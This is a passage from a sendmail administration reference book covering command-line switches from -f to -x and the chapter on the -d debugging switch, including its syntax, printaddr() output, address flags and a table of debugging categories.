The -f and -r command-line switches are interchangeable. [8] Either causes sendmail to take the address of the sender from the command line rather than from the envelope or message header. The -f switch is used by UUCP software and by mailing list software. The form of the -f switch is:

[8] The only difference is that the -r command-line switch is deprecated, and there is no guarantee that it will be included in future versions of sendmail.

-faddr
-f addr

Space between the -f and the addr is optional. If addr is missing, sendmail prints the following error message and ignores the -f switch:

sendmail: option requires an argument - f

Multiple -f switches cause sendmail to print the following error message and exit:

More than one "from" person

The behavior of this switch varies depending on the version of sendmail you are running.

Prior to V8 the uid of the user specifying the -f switch must match one of the usernames given in the T configuration command. If they do not match, sendmail silently ignores the option and determines the sender's address in the usual ways.

From V8.1 through V8.6 the T configuration command was eliminated. If the -f or -r switch was used, and if the p (privacy) option was given authwarnings, sendmail included an X-Authentication-Warning: header in the mail message. That header warned that the identity of the sender had changed.

Beginning with V8.7 sendmail, the T was reintroduced, but in a different form (see Section 22.8.1, "Trusted Users"). First sendmail checks to see whether the user specified by the -f is the same as the login name of the user running sendmail, as would be the case for mh(1). If they are the same, sendmail silently accepts the address. If they differ, sendmail looks to see whether the login name of the user running sendmail is in the class $=t. If it is, sendmail silently accepts the address. If not, sendmail checks to see if authwarnings is set for the PrivacyOptions (p) option (see Section 34.8.47, PrivacyOptions (p)). If it is, the following warning is logged and included in the outgoing message:

X-Authentication-Warning: login set sender to new name using -f

36.7.22 -h

Initial hop count

(deprecated)

A "hop" is the transmittal of a mail message from one machine to another. Many such hops may be required to deliver a message. The number of hops (the hop count) is determined by counting the number of Received: [9] header lines in the header portion of an email message. The maximum number of allowable hops is compiled-in for most versions of sendmail but is set by the MaxHopCount (h) option with V8. When the hop count for a message exceeds the limit set by the MaxHopCount (h) option (see Section 34.8.36, MaxHopCount (h)), the message is bounced. Ordinarily, the count begins at zero. The -h command-line switch is used to specify a minimum hop count. [10] The forms for the -h command-line switch are:

[9] Actually, all headers marked with the H_TRACE flag in conf.c (see Section 35.5.8, "H_TRACE") are counted.

[10] The first edition to this book and the documentation that came with sendmail both wrongly stated that the -h switch set a beginning count.

-hnum
-h num

Space between the -h and num is optional. If num is missing, sendmail prints the following error message and ignores that switch:

sendmail: option requires an argument - h

If num begins with a character other than a digit, the offending text is printed:

Bad hop count (bad text)

The failure above illustrates that the minimum hop count must be positive.

The -h switch was originally used by BerkNet to carry the hop count in the envelope. It currently has no application.

36.7.23 -I

Synonym for -bi

(Deprecated)

The -I command-line switch is a synonym for the -bi command-line switch and the newaliases name. It is obsolete, but retained for compatibility with the delivermail(1) program (the precursor to sendmail).

The -I switch is deprecated and may not be included in future versions of sendmail.

36.7.24 -i

Set the IgnoreDots (i) option to true

(Deprecated)

The -i command-line switch is a synonym for the IgnoreDots (i) option (see Section 34.8.32, IgnoreDots (i)).

The -i switch is deprecated and may not be included in future versions.

36.7.25 -J

Japanese font conversion

(Sony NEWS only)

The -J switch is reserved for the Sony NEWS adaptation of sendmail. It is ignored by the Berkeley release of V8 sendmail and produces no errors if used by that version.

36.7.26 -M

Define a macro on the command line

(V8.7 and above)

The -M command-line switch is used to assign a macro a value. Note that prior to V8.8, only single-character macro names could be defined. The -M command-line switch is fully described in Section 31.2.

36.7.27 -m

Set the MeToo (m) option to true

(All versions)

The -m command-line switch is a synonym for the MeToo (m) option. It is used to set that option to true. The -m command line switch is fully described in Section 34.8.39.

36.7.28 -N

Specify DSN NOTIFY information

(V8.8 and above)

The -N command-line switch causes sendmail to append the DSN NOTIFY command to the ESMTP RCPT command. For example:

RCPT To:<friend@other.site> NOTIFY=SUCCESS

Here, sendmail is requesting that the other site return notification of successful delivery. Should the message be successfully delivered by a host that understands DSN, a return message will be sent to the sender. If the other site is running V8.8 sendmail, that return message will look (in part) like this:

Date: Fri, 13 Dec 96 08:11:43 -0800 (PST)
From: Mail Delivery Subsystem <MAILER-DAEMON>
Subject: Return receipt
Message-Id: <199612132144.PAA09881@other.site>
To: <you@your.site>
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
        boundary="PAA09881.834702270/other.site
Auto-Submitted: auto-generated (return-receipt)

This is a MIME-encapsulated message

-PAA09881.834702270/other.site

The original message was received at Fri, 13 Dec 96 08:11:43 -0800 (PST)
from other.site [204.255.152.62]

   --- The following addresses had successful delivery notifications ---
friend (successfully delivered to mailbox)

The -N command-line switch tells the NOTIFY command what to include and thus tunes how notification will be handled. The form of the -N command-line switch looks like this:

-Nnever
-Nkeyword,keyword,...

The first form sets NOTIFY to be NEVER, meaning send no notification. The second form tells NOTIFY to specify notification based on one or more of three possibilities:

success

The success keyword tells sendmail to ask for notification of successful final delivery.

failure

The failure keyword tells sendmail to ask for notification if the message fails to be delivered.

delay

The delay keyword tells sendmail to ask for notification if the message is delayed for any reason.

These keywords can be listed after the -N to set a combination of notification requests. For example,

-Ndelay,success

tells sendmail to ask for notification if the message is successfully delivered or delayed but not to get notification if the message fails.

If an unknown keyword is listed, sendmail prints the following error message and ignores the bad keyword:

Invalid -N argument

If the -N command-line switch is omitted, notification policy is left to the other site. The usual default is failure (and possibly delay). On the local machine, sendmail acts as though both failure and delay were specified.

36.7.29 -n

Don't do aliasing

(All versions)

The -n command-line switch prevents sendmail from changing local recipient addresses with aliases. The -n switch is fully described in Section 24.6.

36.7.30 -O

Set multicharacter option

(V8.7 and above)

The -O command-line switch is used to set a multicharacter configuration option from the command line:

-OLongName=value

The -O switch is described in detail in Section 34.1.

36.7.31 -o

Set a single-character option

(All versions)

The -o command-line switch is used to set a single-character configuration option from the command line.

-oXvalue

The -o switch is described in detail in Section 34.1.

36.7.32 -p

Set protocol and host

(V8.6 and above)

The $r macro holds as its value the protocol that is used in receiving a mail message (usually SMTP or UUCP; see Section 31.10.31, $r). The $s macro holds as its value the name of the sending host (see Section 31.10.33, $s). Some programs, such as UUCP, need to be able to set the values of these macros from the command line. The old way to set them looked like this:

-oMrUUCP -oMslady

Here, the M option sets $r to be UUCP and $s to be lady.

Under V8 sendmail the setting of $r and $s has been simplified. A command-line single switch, -p, can be used to set them both:

-prval:sval

Here, the rval is the value assigned to $r, and the sval is the value assigned to $s. The two are separated by a colon. If the sval is omitted, the colon should also be omitted.

36.7.33 -q

Process the queue

(All versions)

The -q command-line switch causes sendmail to process its queue once or periodically, depending on its arguments. The -q switch is described in detail in Section 23.6.1.

36.7.34 -R

DSN what to return on a bounce

(V8.8 and above)

The -R command-line switch tells sendmail to include the DSN RET command with an ESMTP MAIL command:

MAIL From:<you@your.host> RET=full
MAIL From:<you@your.host> RET=hdrs

The RET command tells the receiving site whether or not to include a copy of the original message body in the bounced mail notification. RET=full causes both headers and the message body to be returned. RET=hdrs causes only headers to be returned. The RET= command is binding on the receiving site only if it agrees to handle the DSN extension to ESMTP. In the absence of RET or remote DSN support, the receiving site is free to return the message body if it so desires.

The RET, and hence this -R command-line switch, is useful in two circumstances:

  • For users sending email, this should be set to full so that any bounced mail will include the original message body. This helps to reduce the need for users to archive their outgoing mail.

  • For mailing-list mailings or other batched broadcast messages, this should be set to hdrs so that only the header portion of the bounced message will be returned.

The form of the -R command line switch looks like this:

-R arg

Space between the -R and its argument is optional. The arg must be present and must be either hdrs (return only headers) or full (return the body too). If it is any other value, the following error is printed and the setting defaults to full:

Invalid -R value

The -R command-line switch may appear only once in the command line. If it appears multiple times, the second and subsequent appearances will result in this error message:

Duplicate -R flag

36.7.35 -r

Set sender's address

(Deprecated)

The -r command-line switch is a synonym for the -f command-line switch. This -r command-line switch is deprecated and may not be included in future versions.

36.7.36 -s

Set the SaveFromLine (f) option to true

(Deprecated)

The -s command-line switch tells sendmail to set the SaveFromLine (f) option (see Section 34.8.59) to true. This -s command-line switch is deprecated and may not be in future versions.

36.7.37 -T

Set QueueTimeout (T) option

(Deprecated)

The -T command-line switch causes sendmail to set the QueueTimeout (T) option (see Section 34.8.52) to the value specified. This -T command-line switch is deprecated (as is the QueueTimeout (T) option) in favor of the Timeout option of V8.7 sendmail (see Section 34.8.70, Timeout (r)), and may not be in future versions.

36.7.38 -t

Get recipients from message header

(All versions)

The -t command-line switch causes sendmail to gather its list of recipients from the message's header in addition to gathering them from its command line. The -t switch takes no arguments.

When this switch is specified, sendmail gathers recipient names from the To:, Cc:, and Bcc: header lines. It also gathers recipient names from its command line if any were listed there. Duplicates are discarded, and the message is delivered to all that remain.

The -t switch is intended for use by MUAs. It should never be specified when sendmail is run in daemon mode.

36.7.39 -U

This is the initial MUA to MTA submission

(V8.8 and above)

The -U command-line switch is used to tell sendmail that this is the very first step in this email message's submission.

As of V8.8, this switch does nothing. When MUAs start to use this switch, it will do things like turning on DNS canonification of the initial addresses. It should always be set by MUAs doing initial submission of a message.

This switch has been instituted as parallel support for the XUSR extension to ESMTP.

36.7.40 -V

Specify the ENVID string

(V8.8 and above)

The -V command-line switch is used to specify the envelope identifier for the outgoing message. That identifier is called the ENVID and is part of the DSN extension to ESMTP. ENVID and the ${envid} macro are fully discussed in Section 31.10.12, ${envid}.

The form of the -V command-line switch looks like this:

-Venvid
-V envid

Space between the -V and its argument is optional. The envid must be a legal ENVID identifier (see Section 31.10.12). If an illegal character is specified in envid, the following error is printed, and that declaration is ignored:

Invalid syntax in -V flag

36.7.41 -v

Run in verbose mode

(All versions)

The -v command-line switch tells sendmail to run in verbose mode. In that mode, sendmail prints a blow-by-blow description of all the steps it takes in delivering a mail message.

After the sendmail.cf file is parsed and after the command-line arguments have been processed, sendmail checks to see whether it is in verbose mode. If it is, it resets the HoldExpensive (c) option (see Section 34.8.29) to false and sets the DeliveryMode (d) option (see Section 34.8.16) to interactive.

The -v switch is most useful for watching SMTP mail being sent and for producing expanded output when viewing the queue.

36.7.42 -X

Log transactions

(V8.1 and above)

The -X command line switch tells sendmail to open the file whose name is the next following argument and to append to that file both sides of all SMTP transactions. The -X command-line switch is described in full in Section 26.4.

36.7.43 -x

Ignored

(V8.2 and above)

V8 sendmail prints an error if an illegal switch is specified (whereas other versions of sendmail silently ignore them). The mailx program supplied with OSF/1 from DEC and AIX from IBM issues an illegal -x switch. To keep sendmail from uselessly complaining under OSF/1 and AIX, that switch is specifically ignored. To get the same behavior with AIX under V8.1 sendmail, look for _osf_ in main.c and uncomment the code necessary to ignore that switch.

Previous: 36.6 Pitfalls | sendmail | Next: 37. Debugging with -d
36.6 Pitfalls | Book Index | 37. Debugging with -d


[Chapter 37] Debugging with -d

sendmailSearch this book
Previous: 36.7 Alphabetized Reference Chapter 37 Next: 37.2 Debugging Behavior

37. Debugging with -d

Contents:
The Syntax of -d
Debugging Behavior
Interpreting the Output
Pitfalls
Reference in Numerical Order

The sendmail program offers a command-line switch for investigating and solving mail problems. The debugging -d switch allows you to observe sendmail's inner workings in detail.

37.1 The Syntax of -d

The form for the -d command-line switch is

-dcategory.level,category.level,....
-dANSI                                           <-  V8.8 and above

The -d may appear alone, or it may be followed by one or more category.level pairs separated by commas or, beginning with V8.8, by the word ANSI. We cover the category.level pairs first then ANSI.

The category limits debugging to an aspect of sendmail (such as queuing or aliasing). The level limits the verbosity of sendmail (with low levels producing the least output).

The category is either a positive integer or a range of integer values specified as

first-last

When category is a range, first is a positive integer that specifies the first category in the range. It is followed by a hyphen character (-) and then last, a positive integer that specifies the last category in the range. The value of first must be less than the value of last, or the range will be ignored.

The level is a positive integer. A level of 0 causes sendmail to produce no output for the category.

When the -d is specified with neither category nor level, an internal sendmail default is used:

0-99.1

This default causes sendmail to set all the categories, from zero through 99 inclusive, to a level of 1.

When category is included but level is omitted, the value for level defaults to 1. When a dot (.) and level are included, but category is omitted, the value for category defaults to 0.

The maximum value that may be specified for a single category is 99. Any value specified above the maximum is reduced to the maximum. The maximum value for level is that of an unsigned char (255 decimal). Nondigits for the category or range evaluate to zero. Nondigits for the level evaluate to 1.

The level specifies the maximum amount of verbose output to produce. All levels below the level specified also produce output.

The expression that produces the maximum debugging output is

-d0-99.127

But beware that debugging levels of 100 or greater may cause sendmail to modify its behavior. (For example, one category at such a high level causes sendmail to not remove its temporary files.) For this reason, -d0-99.99 is the maximum level recommended.

Debugging can be turned on from the command line and from within -bt rule-testing mode (see Section 38.7, "Add Debugging for Detail"). If sendmail is wrongly compiled with SMTPDEBUG defined (see Section 18.8.42, SMTPDEBUG), debugging can be turned on via an SMTP DEBUG command.

Beginning with V8.8 sendmail, a special debugging word can be specified at the command line to cause debugging output to become clearer:

-dANSI          <-  V8.8 and above

ANSI is case sensitive and must be the only argument following the -d. If you wish to combine it with other debugging switches, you must specify them separately:

-dANSI -d0.4

ANSI causes defined macros, class macros, and operators to be displayed in reverse video:

R $+        $#local $:  $1

This is truly a "hack." The escape code to highlight characters is hard-coded into sendmail. Your display must support ANSI standard escape sequences for this to work. There is no plan to use standard library support for this "aid to rule-set hackers."

Previous: 36.7 Alphabetized Reference | sendmail | Next: 37.2 Debugging Behavior
36.7 Alphabetized Reference | Book Index | 37.2 Debugging Behavior


[Chapter 37] 37.2 Debugging Behavior

sendmailSearch this book
Previous: 37.1 The Syntax of -d Chapter 37
Debugging with -d 		Next: 37.3 Interpreting the Output

37.2 Debugging Behavior

When sendmail is given the -d debugging switch, it internally performs three distinct actions. First, if the category.level is omitted, sendmail presets all categories 0-99 inclusively to a level of 1. It then sets the categories in the command line (if any) to the corresponding levels specified (or to 1 if no level is specified). Finally, it calls setbuf(3) to place the standard output in unbuffered mode.

Setting categories 0-99 to a level of 1 has two side effects:

  • Usually, certain errors are not reported because they are tolerable, but a level of 1 generally causes those otherwise missing error messages to be printed. For example, if the aliases file is missing, sendmail does not perform aliasing but is silent about it. A category 27 level of 1, on the other hand, causes sendmail to print the reason it could not open the aliases file.

  • Since sendmail is usually silent about what it is doing, any debugging at all causes it to print a great deal of information about what it is trying to do and what it has done.

Previous: 37.1 The Syntax of -d | sendmail | Next: 37.3 Interpreting the Output
37.1 The Syntax of -d | Book Index | 37.3 Interpreting the Output


[Chapter 37] 37.3 Interpreting the Output

sendmailSearch this book
Previous: 37.2 Debugging Behavior Chapter 37
Debugging with -d 		Next: 37.4 Pitfalls

37.3 Interpreting the Output

Some debugging output references C language structures that are internal to sendmail. For those it will help if you have access to sendmail source. One subroutine, called printaddr(), is used to dump complete details about all the recipients for a given mail message. This subroutine is used by many categories of debugging output, but rather than describe it repeatedly, we describe it once here and reference this description as needed.

37.3.1 The Output Produced by printaddr()

The sendmail program's internal printaddr() subroutine prints details about addresses. The sendmail program views an address as more than just an expression like wc@bcx.com. Internally, it represents every address with a C language structure. The printaddr() routine prints the values stored in most of the items of that structure. Its output looks like this:

ra=addr: mailer mnum (mname), host hname
        user `uname', ruser `rname'
        next=link, alias aname, uid uid, gid gid
        flags=fhex<names here>
        owner=owner, home="home", fullname="fname"
        orcpt="oparam", statmta=mta, status=status
        rstatus="rstatus"
        specificity=spec, statdate=statdate

First, sendmail prints the address in memory, ra, of the C language struct that contains the information necessary to deliver a mail message. It then prints the information in that structure:

addr

The mail address as text, e.g. you@uofa.edu

mnum

Number of the delivery agent to be used (an index into the array of delivery agents)

mname

Symbolic name of that delivery agent (from rule set 0, $#)

hname

Name of the recipient's host machine (from rule set 0, $@)

uname

Recipient's mail name (from rule set 0, $:)

rname

Recipient's login name, if known; otherwise, it is <null>

link

Address in memory of the next C language structure of information about the next recipient in the list of recipients

aname

Address in memory of the next C language structure of information about the alias that led to this address (if there was one)

uid and gid

The uid and gid assigned to this delivery agent. These values are derived from the ownership permissions of either a :include: file or a .forward file (see Section 24.2.2, "Delivery to Files").

fhex

A hexadecimal representation of the possible envelope flags. This is immediately followed by a list of the flags inside the angle brackets. (See Table 37.1 for a description of each flag.)

owner

The owner- that corresponds to the aname above, if there is one

home

Home directory of the recipient (for local mail only)

Table 37.1: Address Flags
Name Hex Description
QDONTSEND 0x00000001

Don't send to this address

QBADADDR 0x00000002

This address is verified bad

QGOODUID 0x00000004

The uid and gid fields are good

QPRIMARY 0x00000008

Status was set from argv

QQUEUEUP 0x00000010

Queue for later transmission

QSENT 0x00000020

Message has been successfully delivered

QNOTREMOTE 0x00000040

Not an address for remote forwarding

QSELFREF 0x00000080

Address is part of a loop

QVERIFIED 0x00000100

Address verified, but not expanded

QBOGUSSHELL 0x00000400

User has no valid shell listed

QUNSAFEADDR 0x00000800

Address acquired via unsafe path

QPINGONSUCCESS 0x00001000

Give return on successful delivery

QPINGONFAILURE 0x00002000

Give return on failure

QPINGONDELAY 0x00004000

Give return on message delay

QHASNOTIFY 0x00008000

Propagate notify parameter

QRELAYED 0x00010000

Relayed to non-DSN aware system (DSN)

QEXPANDED 0x00020000

Has undergone list expansion (DSN)

QDELIVERED 0x00040000

Final delivery succeeded (DSN)

QDELAYED 0x00080000

Message was delayed (DSN)

fname

Full name of the recipient if it is known

oparam

The ORCPT parameter to the SMTP RCPT command if there was one.

mta

The name of the MTA host (such as "other.dc.gov") that generated the Delivery Status Notification (DSN) message shown in rstatus

status

The DSN number as text

rstatus

The DSN message from the sending host's MTA.

spec

How specific this address is (unused as of V8.8.4)

statdate

The date and time the status of this address changed

Previous: 37.2 Debugging Behavior | sendmail | Next: 37.4 Pitfalls
37.2 Debugging Behavior | Book Index | 37.4 Pitfalls


[Chapter 37] 37.4 Pitfalls

sendmailSearch this book
Previous: 37.3 Interpreting the Output Chapter 37
Debugging with -d 		Next: 37.5 Reference in Numerical Order

37.4 Pitfalls

  • It is best to debug sendmail in a window environment, within script(1), with emacs(1), or something similar. Debugging output can run to many screens.

  • Activities of the daemon can be observed only if the -d99.100 debugging switch is combined with the others selected. This switch prevents the daemon from disconnecting from the controlling terminal. Without this switch, sendmail silently discards its debugging output.

  • Sometimes debugging output seems not to be printed:

    % /usr/lib/sendmail -d11.1 you < /dev/null
%

    When this happens, add the -v command line switch to keep the output attached to your screen:

    % /usr/lib/sendmail -v -d11.1 you < /dev/null
         <-  many lines of output here
%

  • There must be no space between the -d and its numeric arguments. If you put space there, the numeric arguments may be interpreted as recipient addresses.

Previous: 37.3 Interpreting the Output | sendmail | Next: 37.5 Reference in Numerical Order
37.3 Interpreting the Output | Book Index | 37.5 Reference in Numerical Order


[Chapter 37] 37.5 Reference in Numerical Order

sendmailSearch this book
Previous: 37.4 Pitfalls Chapter 37
Debugging with -d 		Next: 38. Rule-Set Testing with -bt

37.5 Reference in Numerical Order

The sendmail debugging switches vary from vendor to vendor and from version to version. This section is specific to V8.8.0 sendmail. These switches are perhaps best used with a copy of the sendmail source by your side. Be further advised that many of the internal details shown here will change as sendmail continues to evolve and improve.

In this section we provide a detailed description of each combination of debugging category and level. In Table 37.2 each debugging category and level that we consider useful for the system administrator who is trying to solve a mail problem is marked with "useful." The others provide such complex and sophisticated output that they may be of use only to those with access to the source. Those marked in the section column with a "n/a" are debugging switches that were introduced in the sendmail source too late for documentation in this edition. All are presented in ascending numerical order, first by category, then by level within each category.

Note that for all categories a -d category and a -d category.1 are always equivalent.

Table 37.2: Debugging Switches by Category
Category |  | It is | Description
-d0.1 | Section 37.5.1, -d0.1 | useful | Print version information
-d0.4 | Section 37.5.2, -d0.4 | useful | Our name and aliases
-d0.10 | Section 37.5.3, -d0.10 |  | Operating System defines
-d0.15 | Section 37.5.4, -d0.15 | useful | Dump delivery agents
-d0.20 | Section 37.5.5, -d0.20 | useful | Print network address of each interface
-d0.22 | Section 37.5.6, -d0.22 |  | Show uname() failure
-d0.40 | Section 37.5.7, -d0.40 |  | Show scanning of interfaces
-d0.44 | Section 37.5.8, -d0.44 |  | Print addresses of strings
-d0.90 | Section 37.5.9, -d0.90 | obsolete | Print first 10 rule sets
-d1.1 | Section 37.5.10, -d1.1 |  | Show sender information
-d1.5 | Section 37.5.11, -d1.5 |  | Dump the sender address
-d2.1 | Section 37.5.12, -d2.1 |  | End with finis()
-d2.9 | Section 37.5.13, -d2.9 |  | Show file descriptors with dumpfd()
-d3.1 | Section 37.5.14, -d3.1 |  | Print the load average
-d3.5 | Section 37.5.15, -d3.5 |  | Print load average
-d3.15 | Section 37.5.16, -d3.15 |  | Print three load averages
-d3.20 | Section 37.5.17, -d3.20 |  | Show offset for load average
-d3.30 | Section 37.5.18, -d3.30 |  | Show result of decision to queue
-d4.80 | Section 37.5.19, -d4.80 | useful | Trace enoughspace()
-d5.4 | Section 37.5.20, -d5.4 |  | Tick for queued events
-d5.5 | Section 37.5.21, -d5.5 |  | Events set and cleared
-d5.6 | Section 37.5.22, -d5.6 |  | Show events triggered
-d6.1 | Section 37.5.23, -d6.1 | useful | Show failed mail
-d6.5 | Section 37.5.24, -d6.5 |  | The current error state
-d6.20 | Section 37.5.25, -d6.20 |  | Show sender of return to sender
-d7.1 | Section 37.5.26, -d7.1 |  | The Queue filename
-d7.2 | Section 37.5.27, -d7.2 |  | Show assigned queue filename
-d7.9 | Section 37.5.28, -d7.9 |  | Dump file descriptor for the qf file
-d7.20 | Section 37.5.29, -d7.20 |  | Show queue names being tried
-d8.1 | Section 37.5.30, -d8.1 | useful | Failure of MX search (low level)
-d8.2 | Section 37.5.31, -d8.2 | useful | Call to getcanonname(3)
-d8.3 | Section 37.5.32, -d8.3 | useful | Trace dropped local hostnames
-d8.5 | Section 37.5.33, -d8.5 | useful | Hostname being tried in getcanonname(3)
-d8.7 | Section 37.5.34, -d8.7 | useful | Yes/no response to -d8.5
-d8.8 | Section 37.5.35, -d8.8 | useful | MX lookup gets wrong type
-d8.20 | Section 37.5.36, -d8.20 |  | Inconsistency in returned information
-d9.1 | Section 37.5.37, -d9.1 |  | Canonify hostname and RFC1413 queries
-d9.3 | Section 37.5.38, -d9.3 |  | Show raw RFC1413 reply
-d9.10 | Section 37.5.39, -d9.10 |  | Show RFC1413 query being sent
-d10.1 | Section 37.5.40, -d10.1 |  | Show recipient delivery
-d10.2 | Section 37.5.41, -d10.2 |  | Dump controlling user's address
-d10.5 | Section 37.5.42, -d10.5 |  | Show don't send to MeToo address
-d10.100 | Section 37.5.43, -d10.100 |  | Predelivery file descriptor dump
-d11.1 | Section 37.5.44, -d11.1 | useful | Trace delivery
-d11.2 | Section 37.5.45, -d11.2 | useful | Show the uid/gid running as during delivery
-d11.20 | Section 37.5.46, -d11.20 |  | Show tried D= directories
-d12.1 | Section 37.5.47, -d12.1 | useful | Show mapping of relative host
-d13.1 | Section 37.5.48, -d13.1 | useful | Show delivery
-d13.5 | Section 37.5.49, -d13.5 |  | Show addresses that we should not send to
-d13.6 | n/a |  | Trace envelope stripping, dropping, and moving
-d13.10 | Section 37.5.50, -d13.10 |  | Trace sendenvelope()
-d13.20 | Section 37.5.51, -d13.20 |  | Show final mode
-d13.21 | n/a |  | Show final send queue
-d13.25 | n/a |  | Watch owner deliveries
-d13.29 | Section 37.5.52, -d13.29 |  | Show autoqueueing
-d13.30 | Section 37.5.53, -d13.30 |  | Show envelopes being split
-d14.2 | Section 37.5.54, -d14.2 |  | Show header field commas
-d15.1 | Section 37.5.55, -d15.1 |  | Show network get request activity
-d15.2 | Section 37.5.55 |  | Incoming connections
-d15.101 | Section 37.5.57, -d15.101 |  | Kernel TCP debugging
-d16.1 | Section 37.5.58, -d16.1 |  | Outgoing Connections
-d16.101 | Section 37.5.59, -d16.101 |  | Kernel TCP debugging
-d17.1 | Section 37.5.60, -d17.1 |  | List MX hosts
-d17.9 | Section 37.5.61, -d17.9 |  | Show randomizing MX records
-d18.1 | Section 37.5.62, -d18.1 |  | Show SMTP replies
-d18.2 | Section 37.5.63, -d18.2 |  | Show entry to MAIL From:
-d18.100 | Section 37.5.64, -d18.100 |  | Pause on SMTP read error
-d19.1 | Section 37.5.65, -d19.1 |  | Show ESMTP MAIL and RCPT parameters
-d20.1 | Section 37.5.66, -d20.1 | useful | Show resolving delivery agent: parseaddr()
-d21.1 | Section 37.5.67, -d21.1 |  | Trace rewriting rules
-d21.2 | Section 37.5.68, -d21.2 | useful | Trace $& macros
-d21.3 | Section 37.5.69, -d21.3 |  | Show subroutine calls
-d21.4 | Section 37.5.70, -d21.4 |  | Result after rewriting by a rule
-d21.10 | Section 37.5.71, -d21.10 |  | Announce failure
-d21.12 | Section 37.5.72, -d21.12 |  | Announce success and show LHS
-d21.15 | Section 37.5.73, -d21.15 |  | Show $digit replacement
-d21.35 | Section 37.5.74, -d21.35 |  | Show token by token LHS matching
-d21.36 | Section 37.5.75, -d21.36 |  | Trace class matching in the LHS
-d22.1 | Section 37.5.76, -d22.1 | useful | Trace tokenizing an address: prescan()
-d22.11 | Section 37.5.77, -d22.11 | useful | Show address before prescan
-d22.12 | Section 37.5.78, -d22.12 |  | Show address after prescan
-d22.36 | Section 37.5.79, -d22.36 |  | Show each token
-d22.101 | Section 37.5.80, -d22.101 |  | Trace low-level state machine
-d24.4 | Section 37.5.81, -d24.4 |  | Trace address allocation
-d24.5 | Section 37.5.82, -d24.5 |  | Trace assembly of tokens
-d24.6 | Section 37.5.83, -d24.6 |  | Show result of buildaddr()
-d25.1 | Section 37.5.84, -d25.1 | useful | Trace "sendtolist"
-d26.1 | Section 37.5.85, -d26.1 |  | Trace recipient queueing
-d26.8 | Section 37.5.86, -d26.8 |  | Trace self-destructing addresses
-d26.10 | Section 37.5.87, -d26.10 |  | Show full send queue in testselfdestruct
-d27.1 | Section 37.5.88, -d27.1 | useful | Trace aliasing
-d27.2 | Section 37.5.89, -d27.2 | useful | Include file, self-reference, error on home
-d27.3 | Section 37.5.90, -d27.3 | useful | Forwarding path and alias wait
-d27.4 | Section 37.5.91, -d27.4 | useful | Print not safe
-d27.5 | Section 37.5.92, -d27.5 |  | Trace aliasing with printaddr()
-d27.8 | Section 37.5.93, -d27.8 |  | Show setting up an alias map
-d27.9 | Section 37.5.94, -d27.9 | useful | Show uid/gid changes with :include: reads
-d27.14 | Section 37.5.95, -d27.14 |  | Show controlling user that caused change in identity
-d27.20 | Section 37.5.96, -d27.20 |  | Show how alias will be looked up in a map
-d28.1 | Section 37.5.97, -d28.1 | useful | Trace user database transactions
-d28.2 | Section 37.5.98, -d28.2 |  | Show no match
-d28.4 | Section 37.5.99, -d28.4 |  | Show result of lookup
-d28.8 | Section 37.5.100, -d28.8 |  | Try hes_getmailhost()
-d28.16 | Section 37.5.101, -d28.16 |  | MX records for forward host
-d28.20 | Section 37.5.102, -d28.20 |  | Show udb lookup
-d28.80 | Section 37.5.103, -d28.80 |  | Preview lookups
-d29.1 | Section 37.5.104, -d29.1 |  | Special rewrite of local recipient
-d29.4 | Section 37.5.105, -d29.4 | useful | Trace fuzzy matching
-d29.5 | Section 37.5.106, -d29.5 |  | Preview rule set 5
-d29.7 | Section 37.5.107, -d29.7 |  | Show overaliasing fuzzy fallback
-d30.1 | Section 37.5.108, -d30 |  | Trace processing of header
-d30.2 | Section 37.5.109, -d30.2 |  | Eat from
-d30.3 | Section 37.5.110, -d30.3 |  | Show a to-less header being added
-d30.35 | Section 37.5.111, -d30.35 |  | Trace collect states
-d30.94 | Section 37.5.112, -d30.94 |  | Trace collect states
-d31.2 | Section 37.5.113, -d31.2 | useful | Trace processing of headers
-d31.6 | Section 37.5.141_6 |  | Is header known?
-d32.1 | Section 37.5.115, -d32.1 |  | Show collected headers
-d32.2 | Section 37.5.116, -d32.2 |  | Show ARPA mode with setsender
-d33.1 | Section 37.5.117, -d33.1 |  | Watch crackaddr()
-d34.1 | Section 37.5.118, -d34.1 |  | Watch header assembly for output
-d34.11 | Section 37.5.119, -d34.11 | useful | Trace header generation and skipping
-d35.9 | Section 37.5.120, -d35.9 | useful | Macro values defined
-d35.14 | Section 37.5.121, -d35.14 |  | Macro identification
-d35.24 | Section 37.5.122, -d35.24 |  | Macro expansion
-d36.5 | Section 37.5.123, -d36.5 |  | Trace processing by stab()
-d36.9 | Section 37.5.124, -d36.9 |  | Show hash bucket
-d36.90 | Section 37.5.125, -d36.90 |  | Trace function applied to all symbols
-d37.1 | Section 37.5.126, -d37.1 | useful | Trace setting of options
-d37.8 | Section 37.5.127, -d37.8 | useful | Trace adding of words to a class
-d38.2 | Section 37.5.128, -d38.2 | useful | Show map opens and failures
-d38.3 | Section 37.5.129, -d38.3 |  | Show passes
-d38.4 | Section 37.5.130, -d38.4 | useful | Show result of map open
-d38.9 | Section 37.5.131, -d38.9 |  | Trace map closings and appends
-d38.10 | Section 37.5.132, -d38.10 |  | Trace NIS search for end of aliases
-d38.12 | Section 37.5.133, -d38.12 |  | Trace map stores
-d38.19 | Section 37.5.134, -d38.19 | useful | Trace switch map finds
-d38.20 | Section 37.5.135, -d38.20 | useful | Trace map lookups
-d38.44 | Section 37.5.136, -d38.44 |  | Show nis_getcanonname() record
-d39.1 | Section 37.5.137, -d39.1 |  | Display %digit database mapping
-d40.1 | Section 37.5.138, -d40.1 |  | Trace processing of the queue
-d40.3 | Section 37.5.139, -d40.3 |  | Show envelope flags
-d40.4 | Section 37.5.140, -d40.4 |  | Show qf file lines as they are read
-d40.8 | Section 37.5.141, -d40.8 |  | Show reasons for failure
-d40.9 | Section 37.5.142, -d40.9 |  | Show qf and lock file descriptors
-d40.32 | Section 37.5.143, -d40.32 |  | Dump the send queue
-d41.1 | Section 37.5.144, -d41.1 | useful | Trace queue ordering
-d41.2 | Section 37.5.145, -d41.2 |  | Cannot open qf
-d41.49 | Section 37.5.146, -d41.49 |  | Show excluded (skipped) queue files
-d41.50 | Section 37.5.147, -d41.50 |  | Show every file in the queue
-d42.2 | Section 37.5.148, -d42.2 |  | Show connection checking
-d42.5 | Section 37.5.149, -d42.5 |  | Trace caching and uncaching connections
-d43.1 | Section 37.5.150, -d43.1 |  | Trace MIME conversions
-d43.3 | Section 37.5.151, -d43.3 |  | See the final MIME boundary name
-d43.5 | Section 37.5.152, -d43.5 |  | Watch search for boundaries
-d43.8 | Section 37.5.153, -d43.8 |  | Show the calculations
-d43.35 | Section 37.5.154, -d43.35 |  | Show boundary lines as emitted
